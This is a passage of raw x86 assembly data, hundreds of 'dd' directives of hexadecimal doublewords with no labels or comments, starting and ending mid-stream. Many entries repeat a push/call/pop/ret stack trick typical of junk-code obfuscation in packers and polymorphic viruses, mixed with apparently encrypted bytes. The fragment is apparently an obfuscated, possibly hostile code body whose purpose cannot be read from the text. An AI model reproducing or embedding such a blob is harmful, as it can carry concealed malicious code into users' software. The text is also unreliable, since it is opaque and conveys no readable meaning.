8B71E4F9h, 0E72C99BDh, 0F613C05h, 0B883h, 0FD9D8900h dd 0F05E715h, 8D89C8B6h, 5E725DDh, 6BAh, 8B9FB300h, 0E38166C1h dd 0E8C115E9h, 0E2F76604h, 1A618531h, 0C82B05E7h, 2B65BD89h dd 0D18B05E7h, 19C9BD29h, 7AE905E7h, 0F000000h, 858BFFB7h dd 5F4C4C44h, 25158589h, 0C08305E7h, 9CEB8107h, 83323D05h dd 0D03B00C0h, 16830Fh, 0BD8B0000h, 5E709DDh, 4CE9h, 0F1850900h dd 6605E70Bh, 76D8E381h, 0FFFF8D8Bh, 0B589FFFFh, 5E71C59h dd 0F01E183h, 2C84h, 68C0F00h, 8B000000h, 0E71FE99Dh, 0FFA58305h dd 0FEFFFFFFh, 329D9D31h, 0FE8A05E7h, 4C449589h, 0BD8B5F4Ch dd 5E70439h, 0E9h, 14B58D00h, 5305EB65h, 5BDBB70Fh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0D05E3AC3h, 22550960h, 10E8h, 0F4D60400h, 0CCDEE026h dd 0E03E1EF9h, 4C6FE86h, 10E9B3h, 0AAE60000h, 0A85A3BD7h dd 1D106B7Fh, 3916199Dh, 0FF5B76AEh, 0E721C195h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 44876ADh, 59225C4Dh, 0EFBBDA66h, 0B978713Dh, 0F8Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 49C35646h dd 0ADCA6BE9h, 7C4F48F7h, 8166FC3Bh, 838232EBh, 0FCFCFCE1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2DC35343h dd 6CBDAC7h, 0B8FABF0Fh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 97C35747h dd 7427491Bh, 82525936h, 0E99D8B5Ah, 8905E72Ch, 0E7244D95h dd 0BA05h, 0BD290000h, 5E705E9h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0E6C35242h, 6612D040h, 8B0175BFh, 0E707E1BDh, 880D05h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 705567C3h, 39F28C3Ah, 0C5BD8B82h, 8B05E70Ch dd 0E71AA995h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 4F68CB94h, 0B9A04F9Ch dd 4D8D8B71h, 5305E72Ah, 2EB0CCBBh, 8B505F05h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 6AF88Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 33791AC3h dd 0B89965E0h, 65BD83FAh, 5E718h, 85840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0CCF484C3h, 0A160B80Fh, 8B19B418h, 0B8FBh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 2A7C50C3h, 77C816B6h, 71BD8BACh, 8D05E716h, 0E74D248Dh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 45F9856Ch, 0FF68C71Bh, 0C9BD8BE1h, 8305E728h dd 0E72739BDh, 840F0005h, 43Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0C6C35545h, 1C8D1CEEh, 53FC92DAh dd 2880Fh, 5F560000h, 39BD835Fh, 105E727h, 41D840Fh, 0BD830000h dd 5E72739h, 0DA860F03h, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1F6EC352h dd 648579F4h, 6A60FCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 989985C3h, 0FD98C66h, 86h, 4E18000h dd 0AE9h, 0ADD94900h, 2CF9004h, 5098BDE7h, 5FDABF0Fh, 840FC90Ah dd 0ECh, 64CF8166h, 5FBB6673h, 99858B33h, 2905E706h, 0E72B3995h dd 9853305h, 8105E713h, 0F036F6DFh, 9E856h, 0B3460000h dd 19E8FC95h, 0BB37DA6Bh, 53BEC951h, 0FE8B505Fh, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 1803C350h, 0B29F6536h, 1DB39932h, 0D2E0C381h dd 33BB429Fh, 6A684965h, 0F5BD8B00h, 6805E727h, 0ACE16E0Ch dd 0DABF6653h, 4815F44h, 3D95F324h, 0D958953h, 0FF05E702h dd 0E71B7195h, 359D8905h, 8905E702h, 0EAA64685h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0E870937Fh, 0ADF7784Dh, 0A59D33A2h, 0E905E713h, 1EAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 4DC35040h dd 0F88B6647h, 0A63E858Bh, 0B70F05EAh, 1800C7FBh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6C68C351h, 5645F985h, 19599D89h, 8B5B05E7h dd 0EAA642B5h, 8B665705h, 858B5BF8h, 5E73289h, 2CE1BD89h dd 68905E7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 84C35040h, 3DAC67E2h, 895E938Dh, 0E727A58Dh, 59BD8B05h dd 0FC05E721h, 699858Bh, 0D38005E7h, 4468930h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 82C35545h, 2E41457Fh dd 68C0F5Fh, 33000000h, 0E7069DBDh, 78BB9605h, 500E17BAh dd 6A9611B3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 9A8CC353h, 890FD98Bh, 0E72BC9B5h dd 3EB5FF05h, 6A05EAA6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 9718C352h, 24960C70h dd 0FFD1E16h, 1187h, 0CE900h, 5C1E0000h, 0ADF95D65h, 107FE724h dd 0CF81D341h, 293EF7E1h, 9C9BAB68h, 0E9525009h, 0Ah, 5EF4CED3h dd 0DB9416EAh, 310FD562h, 3481585Ah, 83985424h, 8D958909h dd 8D05E70Ah, 0EAA64685h, 45850105h, 5005E724h, 489DF8Bh dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0E9147601h, 8, 0CCB77008h, 773C44E0h, 0BC98501h dd 95FF05E7h, 5E71B71h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0B0C35040h, 897F5D3Bh, 0E714199Dh, 8791BF05h dd 0E86177D6h, 0Ch, 41A50910h, 97668C0Eh, 0BF883F3Eh, 90D8589h dd 0BF5F05E7h, 15B2BE36h, 273985C7h, 305E7h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0E31FB3C3h, 0B5C90613h, 870F0D87h, 3, 0BFBBF0Fh, 0E71D61BDh dd 46BD8305h, 5EAA6h, 53840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 71501EC3h dd 85FC603Dh, 8B53CAC9h, 0E70A21BDh, 3EE905h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0A3CF97C3h, 5E379EAh, 0C305045h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0D2C35343h, 0FB99A681h, 822A10C2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D5C35242h, 83FC11D0h dd 0E72739BDh, 850F0305h, 47Bh, 2699D8Bh, 0BD8305E7h, 5EAA646h dd 68840F00h, 0E9000004h, 12h, 0A62A4CEBh, 546308BCh, 1845A1Fh dd 269DD856h, 0B5FF197Fh, 5EAA646h, 1995FFF5h, 0B705E702h dd 3AB58B00h, 6A05EAA6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 6397C357h, 980E95D5h dd 96B1408Dh, 75D9D31h, 9D8B05E7h, 5E724B1h, 106C7h, 6A0001h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8BC52AC3h, 0E719C1BDh, 8B0F9605h, 0 dd 96DE8B50h, 46B5FFF8h, 2905EAA6h, 0E7143595h, 0C5BD8B05h dd 0FF05E70Bh, 0E7003195h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 714E27B3h dd 0F012553h, 581h, 0F3816600h, 35B7D035h, 0A63AB58Bh dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0E76349C3h, 0F9417674h, 21BD8BB9h, 8B05E701h dd 0E7187D85h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 7CA11C22h, 0EE9h, 0E55C9E00h dd 0E3D3A80Eh, 2787EFA7h, 890C6812h, 0C486h, 0A9958B00h dd 6A05E71Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 83C4C357h, 6A04C2h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0DC9431C3h dd 0ECBB66A5h, 205089D8h, 2961BD09h, 0F5705E7h, 688h, 3D858900h dd 5B05E72Fh, 0BAC3858Dh, 0B06005EAh, 0C68166D5h, 896146DFh dd 0B886h, 11E900h, 598F0000h, 82346C09h, 7FE295Ch, 7549A9DEh dd 6A60021Eh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 46B5FF59h, 8B05EAA6h, 0E71D6DBDh dd 0BD95FF05h, 2905E71Ah, 0E723358Dh, 66609605h, 0E9C813B9h dd 0Dh, 2D0D02Eh, 56A97512h, 0F34A67F0h, 0E95061B6h, 5 dd 3B483341h, 9D339675h, 5E716A5h, 0A646B5FFh, 6A05EAh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0B9AA08C3h, 81C1D43Bh, 4F6998CFh, 7995FF4Fh, 6A05E707h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 58CAC352h, 0DAE867AEh, 891A4416h, 0E71A258Dh dd 0DBD8305h, 5E72Dh, 81840Fh, 12E80000h, 83000000h, 0CECF0C57h dd 0E4B3E738h, 15088E67h, 0A6B020B2h, 6E91Ah, 5A520000h dd 0D5B68BB9h, 12E8505Bh, 68000000h, 6BB72571h, 83F64808h dd 2EF5AE36h, 0E9F2DC0Bh, 3DF7BF6Eh, 895B276Eh, 6A2434h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0BECAE2C3h, 13E9CBh, 8B7B0000h, 4886E18h, 0AE2CC30Dh dd 497369D3h, 6A41E9EFh, 0DBD31B0h, 0FF05E722h, 0EAA646B5h dd 66FA8B05h, 0F08BDF81h, 243595FFh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 11E8D1C3h dd 0F5000000h, 0CEF6614h, 9261D547h, 0CF55401h, 307D3EE5h dd 3FD9D8Bh, 0F5F05E7h, 88Ch, 8E0F5200h, 0 dd 46B5FF5Fh, 6A05EAA6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 71BBC357h, 13751C36h dd 0BD899AF0h, 5E7188Dh, 76D95FFh, 6A05E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD8BACC3h dd 5E707E1h, 2D85BD83h, 0F0205E7h, 5384h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 36EF81FBh, 8B19F971h, 0E7118585h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 123514B2h dd 0C6F8385Eh, 0BD890000h, 5E71A3Dh, 231985C7h, 5E7h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 24DC85C3h, 0B9092CF4h, 8B771C18h, 0E72711BDh, 0E3DB8105h dd 0E933B5C8h, 0FFFFF33Ch, 0D3816653h, 8B5B255Dh, 9E9C1h dd 0E0CA0000h, 9F54E352h, 8D1699ABh, 0E7139585h, 0D6E78005h dd 0B9606050h, 29924CF7h, 830Fh, 50610000h, 0F616052h dd 5AFA8B31h, 4896158h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 58C0F16h, 0BF000000h dd 735EC8AEh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 1B7E33C3h, 6ADF8B86h, 79853100h dd 8D05E722h, 0EBF87985h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 6223FD39h dd 9D8B610Dh, 5E72B09h, 6A05C083h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 30C3C356h dd 860FD291h, 1Eh, 188D0Fh, 13E90000h, 0FA000000h, 5AF5F210h dd 94885E62h, 0B3120845h, 5A9E9F21h, 0B5899B3Dh, 5E71D4Dh dd 794DBF50h, 48947A9h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 5C1114BEh, 32D5BD31h dd 820F05E7h, 8, 0E59D2B50h, 5B05E712h, 8D89006Ah, 5E71D41h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 4A0C04C3h, 8990DAEAh, 0E71C61BDh, 4D95FF05h dd 6605E71Ah, 2BBFD88Bh, 8D559025h, 0EAA4AA8Dh, 5DBB6605h dd 6AD1FFB7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 8642C353h, 0BE3E3448h, 66602157h dd 327BC781h, 12A58D8Bh, 666105E7h, 0BD83D98Bh, 5E72B8Dh dd 7F850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 58A1C351h, 81270C4Fh dd 0D9B70FA1h, 0D781026Ah, 68FBB3E7h, 50FBB390h, 0E990A8B3h dd 7, 9D8E62EAh, 0FFFDB44Ch, 0E71ABD95h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0C94CA05Ch, 1ACDBD33h, 0FE905E7h, 0BB000000h, 35C04FBCh dd 0FD942076h, 6DC74650h, 4BE94619h, 0E800000Dh, 0 dd 83ED815Dh, 6A05EBF8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 65D6C353h, 23220E7Fh dd 12E96C19h, 5C000000h, 3E5C69F2h, 0EF8B8016h, 0B3E47FDBh dd 2FD0B3h, 0FD858D9Bh, 8905EA90h, 0E706D5BDh, 36BF5005h dd 890C89F8h, 0E8602404h, 7, 75C9C66Dh, 2320D09Eh, 0E72D89B5h dd 64615E05h, 35FFh, 0DD8A0000h, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 66C1C355h, 0E70AEB81h, 8E8h, 0B4FE0400h, 462A6C97h dd 3D9D8BD9h, 5B05E725h, 14FD85FFh, 6A05E7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 2BFD71C3h dd 96C8BB66h, 752256BBh, 6AFF6A5Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0AAC7C352h dd 67F82BBEh, 0B182F381h, 0E38169D7h, 3321C311h, 2411B5FFh dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 835DB7C3h, 2AB22767h, 0FB7E72Ch, 95FFFFB7h dd 5E70451h, 108E9h, 419D8B00h, 8905E704h, 0E7270995h dd 0F00B005h, 687h, 89858900h, 0E605E72Dh, 5E85270h, 46000000h dd 27C7B067h, 1C6D9589h, 5B5B05E7h, 666071E4h, 401AEF81h dd 2BA19589h, 3C6105E7h, 0C2830F61h, 89000000h, 0E71515B5h dd 0C8B60F05h, 1711B589h, 8B5305E7h, 0E72351BDh, 6BA5F05h dd 8B000000h, 9C18BD8h, 0E71A698Dh, 6E805h, 0A5400000h dd 4104BC42h, 5FDE8B66h, 0B704E8C1h, 0E2F7661Bh, 0C82BFB8Bh dd 8BFFBF0Fh, 5B529D1h, 0E905E720h, 71h, 27359589h, 665605E7h dd 5B283ABFh, 4C50858Bh, 9D8B4755h, 5E71181h, 2307C083h dd 0E70BB9BDh, 0C08305h, 0F0A0E381h, 0D03B2612h, 0B830Fh dd 3AE90000h, 1000000h, 0E704819Dh, 0FF8D8B05h, 66FFFFFFh dd 834E34BFh, 840F01E1h, 21h, 0FFA583F9h, 0FEFFFFFFh, 89DEB70Fh dd 0E711D995h, 50958905h, 0BB47554Ch, 400C23A3h, 0E9h dd 9EB58D00h, 6A05EB74h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0CB30C350h, 0BD89A4A4h dd 5E707A5h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0A61C19C3h, 0C195FF4Eh, 2305E721h dd 0E70379BDh, 0F8FB905h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 93010BC3h, 8CA09C12h dd 38A0FF0h, 66000000h, 0E183F88Bh, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0FDB501B8h dd 0FC05E713h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 90C35242h, 1D9589A0h, 8905E72Ch, 0E731998Dh, 0B805h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0D22BCDC3h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 25C35040h, 870F8438h, 11h, 0CE9h, 250A7100h dd 88A77652h, 69BF8737h, 68A0FA7h, 8B000000h, 0E71481BDh dd 0C233AD05h, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0AA7FE1B6h, 1341BD2Bh, 6A05E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 66570DC3h, 0FD1ACF38h dd 6880Fh, 9D8B0000h, 5E72421h, 880Dh, 25950100h, 8B05E720h dd 0E71AA995h, 4D8D8B05h, 0BF05E72Ah, 2CA9D3D5h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 2400D2C3h dd 0E92E7248h, 0Bh, 16424733h, 0EEA863FCh, 8B70E30Eh, 0E71B819Dh dd 65BD8305h, 5E718h, 49840Fh, 0FE90000h, 0BC000000h, 2F67FB1Ch dd 0A799FA31h, 59182C75h, 0B88E5Ch, 8D000000h, 0E74D248Dh dd 0DD952905h, 0FF05E727h, 57006AE1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0B099EECh dd 83AACF80h, 0E72739BDh, 840F0005h, 470h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 38C35242h, 9964971Ch dd 0BD83FC99h, 5E72739h, 5C840F01h, 6A000004h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0D889C356h, 2EED9D8Bh, 830F05E7h, 3, 8317CF80h, 0E72739BDh dd 860F0305h, 3EDh, 60F9BF0Fh, 6619D380h, 6AD98Ch, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 90123FC3h, 0E1803EB3h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 94DE389Fh dd 8D0BE5C3h, 0C90AB121h, 1B0840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 17F8BBC3h dd 9D893003h, 5E70069h, 2731BD8Bh, 858B05E7h, 5E70699h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A5C35545h dd 4E2AC4DCh, 22E5087Eh, 13098533h, 6A05E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 511DFCC3h dd 74DF284Ch, 8960AC6Eh, 0E727618Dh, 65BD0305h, 6105E732h dd 14E890h, 0F5F30000h, 7F6F06D1h, 0F0979828h, 54A7423Eh dd 903125C3h, 0DE8BEB12h, 5250505Bh, 0FFA8B66h, 12E831h dd 24330000h, 137D73DDh, 566DF238h, 34F951Ch, 762ABC28h dd 0BA1ABF66h, 90585A5Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 7AC35747h, 0DB8166BAh, 6A2636h, 3E7E20BFh dd 4E81Ah, 3FF0000h, 0BB66001Fh, 605043DBh, 50585660h dd 5A310F52h, 0FE96158h, 8F000000h, 98C3D907h, 0FE3FB28h dd 518A3CC9h, 8B610A03h, 8B042444h, 24448900h, 7E804h dd 29C70000h, 0EA463D67h, 800F60AEh, 0 dd 8E8h, 5864B800h, 0ED2C5878h, 5F615ED1h, 7195FF58h, 0F05E71Bh dd 881h, 0BD8B6000h, 5E72B41h, 46858961h, 6A05EAA6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 7A00C356h, 0A4DB8013h, 1A5E9h, 0DE800h, 0F9D70000h dd 6929C187h, 6D712079h, 2996E813h, 0E701398Dh, 858B5F05h dd 5EAA63Eh, 1B9DBD89h, 0C705E7h, 18h, 663EC781h, 0B58B673Ah dd 5EAA642h, 0D88B6651h, 89858B5Fh, 8905E732h, 0E725859Dh dd 6A068905h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0B47BC353h, 2B305DD2h, 699858Bh dd 468905E7h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0FEE96267h, 8BF895C7h, 0E709B9BDh dd 5E95005h, 5A000000h, 9D4E5BAFh, 6A243489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 32FCC357h, 2D276873h, 2EF1B589h, 0B5FF05E7h, 5EAA63Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 90C35747h dd 0C8E0Fh, 8D0F0000h, 6, 820Fh, 10E90000h, 23000000h dd 14602510h, 41CE36E3h, 0C67310E1h, 68153067h, 84BE0D6Ch dd 10A8BB66h, 93240481h, 6A7B60F6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B515C357h dd 88D0Fh, 830F0000h, 2, 0E381FB8Bh, 28A0B4D2h, 0A646858Dh dd 8B6005EAh, 0E721099Dh, 9AC1BE05h, 906136A6h, 3571BB50h dd 6A904D91h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 8E29C356h, 9D9F761Ah, 7195FF13h dd 0F905E71Bh, 15CD8589h, 896105E7h, 0E7328D9Dh, 3985C705h dd 305E727h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 3C43C352h, 75BD8944h dd 8305E729h, 0EAA646BDh, 840F0005h, 15h, 273D9D89h, 0BD8905E7h dd 5E706A9h, 1FE9h, 0D5BB6600h, 0C305001h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0BFC35242h, 2C51BD8Bh, 8E905E7h, 50000000h dd 0C5B4F4ACh, 83F541DAh, 0E72739BDh, 850F0305h, 382h dd 9CC0BB66h, 0A646BD83h, 0F0005EAh, 37184h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 4AADEF0Dh, 0FF00DC01h, 0EAA646B5h, 85896005h, 5E71FEDh dd 883BC781h, 0FF61457Eh, 0E7021995h, 0B5952905h, 8B05E728h dd 0EAA63AB5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 63380AB2h, 6C71144h, 10001h dd 0AB18589h, 895005E7h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 42058EC3h, 22429BDCh dd 8589BE0Fh, 5E70B11h, 0A646B5FFh, 95FF05EAh, 5E70031h dd 8BF98B66h, 0EAA63AB5h, 0DE905h, 11420000h, 4F66362h dd 48BC66E3h, 8B48201Ah, 0E7187D85h, 13E805h, 0D59F0000h dd 9FFF2529h, 80F755ACh, 7BB00BE2h, 8CE2B3E5h, 68A0F3Ah dd 9000000h, 0E7250DBDh, 86895B05h, 0C4h, 329B3FBBh, 0A9958B72h dd 6005E71Ah, 60CF8B66h, 195D9D8Bh, 616105E7h, 6604C283h dd 606EF81h, 89205089h, 0E723118Dh, 0C3858D05h, 6A05EABAh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 441EC357h, 9F34A7E2h, 89F9C44Bh, 0B886h dd 10E85700h, 0EA000000h, 0B531B021h, 6BCFEFFFh, 6116B1C0h dd 89008F8Dh, 0E7182D95h, 6A5B5F05h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0CE0AE012h dd 31C13FCDh, 0B5FF5B56h, 5EAA646h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 10C35545h, 0F7903C0Fh, 0E99589D5h dd 0FF05E72Ch, 0E71ABD95h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0D1FBDECh dd 99AD9BCh, 0E70095BDh, 52509605h, 14E9h, 8791BF00h, 5BCFDF69h dd 9540912Eh, 0D5553A4Bh, 41F1CA37h, 50310F22h, 9E952h dd 0A6BB0000h, 6DA91A63h, 0FECA9BBh, 8D0F31h, 5A000000h dd 50585A58h, 168CBB66h, 499D8B96h, 0FF05E700h, 0EAA646B5h dd 65BD2305h, 0FF05E711h, 0E7077995h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD83E3FEh, 5E72D0Dh, 32840F00h, 33000000h, 0E706B1BDh dd 0D98A9605h, 96DE8B50h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 43C35040h, 5AF32EEDh, 579D3BF0h, 46B5FFB6h dd 6A05EAA6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 525CC351h, 0ADAC3727h, 456FAC79h dd 10E9h, 0BF25E900h, 0F70890E7h, 84C168BDh, 9F4E8DE6h dd 3595FFE5h, 2905E724h, 0E7040DBDh, 46B5FF05h, 0F505EAA6h dd 76D95FFh, 0BD8305E7h, 5E72D85h, 56840F02h, 60000000h dd 28C0Fh, 52B40000h, 0AE8h, 75B66B00h, 33B97275h, 8BC4FDA0h dd 0E709F59Dh, 8B615F05h, 0E7118585h, 599D3105h, 0C605E72Dh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 9373CBC3h, 8BBD47E4h, 0E717FD9Dh, 1985C705h dd 5E723h, 80000000h, 0C2E9DBD7h, 6AFFFFF3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 84CC353h, 81BF1513h, 8B550F4Fh, 62A2BBC1h, 858D7857h dd 5E71395h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0A9C35343h, 0A8F470AFh, 2D5D9D8Bh, 669005E7h, 506777BBh dd 51511DBBh, 6A9032h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0D3B00C3h, 23F1D7A0h, 0E721D59Dh dd 0F006A05h, 386h, 0D8BF0F00h, 6A54EB80h, 8DD98B00h, 0EC07C285h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 4097E89Ah, 23FFD95Bh, 0FE8BE564h, 231D9D8Bh dd 9E905E7h, 44000000h, 0EEAA600h, 0BD9910A7h, 8905C083h dd 0E71B599Dh, 8B665005h, 240489DEh, 227D8589h, 6A05E7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 78C35646h dd 0D1ED2C58h, 66D76F2Eh, 2A9D9531h, 9D8B05E7h, 5E728B5h dd 0BD8B006Ah, 5E711B1h, 1A4D95FFh, 8D8D05E7h, 5EAA4AAh dd 0E857006Ah, 3, 